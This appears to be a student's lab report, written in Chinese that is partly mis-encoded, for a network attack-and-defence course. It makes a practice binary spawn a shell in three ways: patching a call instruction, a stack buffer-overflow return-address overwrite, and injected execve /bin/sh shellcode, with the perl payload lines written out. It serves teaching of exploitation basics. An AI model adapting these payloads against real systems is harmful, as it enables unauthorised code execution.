20232320 2025-2026-1 《網(wǎng)絡(luò)與系統(tǒng)攻防技術(shù)》實(shí)驗(yàn)一實(shí)驗(yàn)報(bào)告
1.實(shí)驗(yàn)內(nèi)容
通過三種不同的技術(shù)手段,設(shè)法使程序執(zhí)行getShell 函數(shù)代碼片段,方法如下:
方法一:手工修改可執(zhí)行文件,直接改變程序的執(zhí)行流程,使其跳轉(zhuǎn)至getShell函數(shù)。
方法二:利用foo函數(shù)中的緩沖區(qū)溢出漏洞,構(gòu)造特殊的輸入字符串,覆蓋函數(shù)的返回地址,從而觸發(fā)getShell函數(shù)。
方法三:向程序中注入一個(gè)自己制作的Shellcode,并設(shè)法運(yùn)行這段代碼。
2.實(shí)驗(yàn)過程
(1)實(shí)驗(yàn)環(huán)境搭建
準(zhǔn)備Linux系統(tǒng),在vmware上安裝kali系統(tǒng)虛擬機(jī)

我在kali官網(wǎng)上下載了kali的vmware虛擬機(jī),直接應(yīng)用于已經(jīng)裝好的vmware。
(2)進(jìn)行實(shí)驗(yàn)
A.方法一:直接修改可執(zhí)行文件跳轉(zhuǎn)至getshell
將給出的pwn文件復(fù)制到虛擬機(jī)桌面,修改名字為pwn20232320,該程序正常執(zhí)行流程是:main調(diào)用foo函數(shù),foo函數(shù)會(huì)簡(jiǎn)單回顯任何用戶輸入的字符串,如下圖

對(duì)文件進(jìn)行反匯編操作,找到函數(shù)調(diào)用的相關(guān)指令
objdump -d pwn1 | more
得到其中的核心部分如圖

其中main中的第四行“call 8048491”表示這條指令將調(diào)用位于地址8048491處的foo函數(shù),其對(duì)應(yīng)機(jī)器指令為“e8 d7ffffff”,e8即跳轉(zhuǎn)之意,按照正常流程此時(shí)EIP的值應(yīng)該是下條指令的地址,即80484ba,但由于e8這條跳轉(zhuǎn)指令,CPU就會(huì)轉(zhuǎn)而執(zhí)行“EIP+d7ffffff”這個(gè)位置的指令。“d7ffffff”是補(bǔ)碼,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29,正好是8048491這個(gè)值,所以將會(huì)執(zhí)行8048491位置的foo函數(shù)。
由此跳轉(zhuǎn),那我們想讓它調(diào)用getShell,只要修改“d7ffffff”為getShell-80484ba對(duì)應(yīng)的補(bǔ)碼就行,由上圖可知getshell地址804847d,計(jì)算47d-4ba為c3ffffff。
所以我們的實(shí)驗(yàn)思路是修改可執(zhí)行文件,將其中的call指令的目標(biāo)地址由d7ffffff變?yōu)閏3ffffff。
vi進(jìn)入pwn20232320,在亂碼界面按Esc鍵,然后輸入:%!xxd將顯示模式切換為16進(jìn)制模式

查找要修改的內(nèi)容(先按i進(jìn)入編輯模式再改,改完按Esc鍵退出)

修改d7為c3

輸入:%!xxd -r轉(zhuǎn)換16進(jìn)制為原格式
輸入:wq存盤退出vi
反匯編查看一下call指令是否正確運(yùn)用于shell

由main中第四行e8c3ffffff,可以看到該條指令現(xiàn)在調(diào)用的是getShell函數(shù)
此時(shí)再次運(yùn)行文件,可以進(jìn)入shell

B.方法二:利用foo函數(shù)的緩沖區(qū)漏洞,覆蓋函數(shù)的返回地址觸發(fā)getshell函數(shù)
反匯編,了解程序基本功能

foo函數(shù)有Buffer overflow漏洞:foo讀入字符串,但系統(tǒng)只預(yù)留了0x1c(28字節(jié))的緩沖區(qū),超出部分會(huì)造成溢出,我們的目標(biāo)是覆蓋返回地址。
確認(rèn)輸入字符串哪幾個(gè)字符會(huì)覆蓋到返回地址
安裝gdb,若找不到該命令,則需先進(jìn)行安裝操作
sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
sudo su
apt-get update
apt-get install gdb
最后再通過gdb -v,顯示出版本號(hào)即為安裝成功

分析覆蓋返回地址的字符
啟動(dòng)gdb,輸入1111111122222222333333334444444412345678
使用info r查看EIP寄存器中的數(shù)據(jù),發(fā)現(xiàn)eip的值是0x34333231,即4321的ascii碼

由此可以確定了應(yīng)該如何設(shè)置攻擊字符串,即將第33至第36個(gè)字符設(shè)置為804847d按字節(jié)的倒序
不能通過鍵盤直接輸入,所以先利用perl軟件生成包括這樣字符串的一個(gè)文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20232320
(關(guān)于Perl: Perl是一門解釋型語(yǔ)言,不需要預(yù)編譯,可以在命令行上直接使用。 使用輸出重定向“>”將perl生成的字符串存儲(chǔ)到文件input中)
可以用“xxd input20232320”命令查看文件內(nèi)容,發(fā)現(xiàn)內(nèi)容正確

將input的輸入,通過管道符“|”,作為pwn20232320a的輸入

成功觸發(fā)getshell
C.方法三:注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode
準(zhǔn)備工作,查看堆棧是否可執(zhí)行,關(guān)閉地址隨機(jī)化


構(gòu)造要注入的payload
首先構(gòu)造一個(gè)shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232320

接下來(lái)我們來(lái)確定\x4\x3\x2\x1到底該填什么
打開一個(gè)終端注入這段攻擊buf

再開另外一個(gè)終端,用gdb來(lái)調(diào)試pwn20232320b這個(gè)進(jìn)程

找到進(jìn)程號(hào)為147869
啟動(dòng)gdb調(diào)試這個(gè)進(jìn)程

通過設(shè)置斷點(diǎn)來(lái)找到注入buf的內(nèi)存地址

可以看到斷在080484ae,在另一個(gè)終端中按下回車,繼續(xù)運(yùn)行當(dāng)前終端

01020304是返回地址的位置,shellcode挨著,就在cf80,再次注入
perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xcf\xff\xff\x00"' > input_shellcode20232320

成功!
3.問題及解決方案
- 問題1:方法一中使用objdump查看文件但是文件格式無(wú)法識(shí)別

- 問題1解決方案:查閱資料說(shuō)是修改后沒有從十六進(jìn)制改回來(lái),只能重來(lái)了...所以要注意把d7修改成c3后需要退出十六進(jìn)制形式,否則使用命令objdump無(wú)法查看,且這時(shí)再次使用vi進(jìn)行退出十六進(jìn)制再查看也不行,因?yàn)槲募呀?jīng)損壞

(這是查看了文件格式說(shuō)明確實(shí)沒有從十六進(jìn)制改回來(lái))
- 問題2:使用execstack找不到命令,下載也找不到安裝包


4.學(xué)習(xí)感悟與思考
有關(guān)本次實(shí)驗(yàn)操作過程中遇到的阻礙,首先是kali虛擬機(jī)的安裝配置,在下載途中下載進(jìn)度已經(jīng)100%了但是仍然等了很久真正才下載完成,在vmware上配置的時(shí)候也沒有發(fā)現(xiàn)自己下載的就是虛擬機(jī)可以直接運(yùn)行。
在正式的實(shí)驗(yàn)過程中,方法一二進(jìn)行一個(gè)shell的跳轉(zhuǎn)我做的還是比較順利,唯一一個(gè)攔路虎是我在可視模式和編輯模式的切換上還不是很熟,對(duì)于這種指令還不夠熟練。
在方法三的實(shí)驗(yàn)過程中,我不是很理解01020304的位置地址和shell的地址關(guān)系,這里我詢問了同學(xué),最終明白了最開始編寫的shellcode對(duì)于確定這個(gè)shell的位置的作用。
這次實(shí)驗(yàn)在簡(jiǎn)單的環(huán)境下通過自己的操作進(jìn)行了這樣一個(gè)網(wǎng)絡(luò)攻防的過程,我獲得了一點(diǎn)點(diǎn)成就感,但是也明白我要學(xué)習(xí)真正的網(wǎng)絡(luò)攻防是任重而道遠(yuǎn),這門課也需要理論與實(shí)踐相結(jié)合才能走得更遠(yuǎn)。
參考資料
ExpGuides/0x11_MAL_逆向與Bof基礎(chǔ).md · wildlinux/NetSec - Gitee.com

浙公網(wǎng)安備 33010602011771號(hào)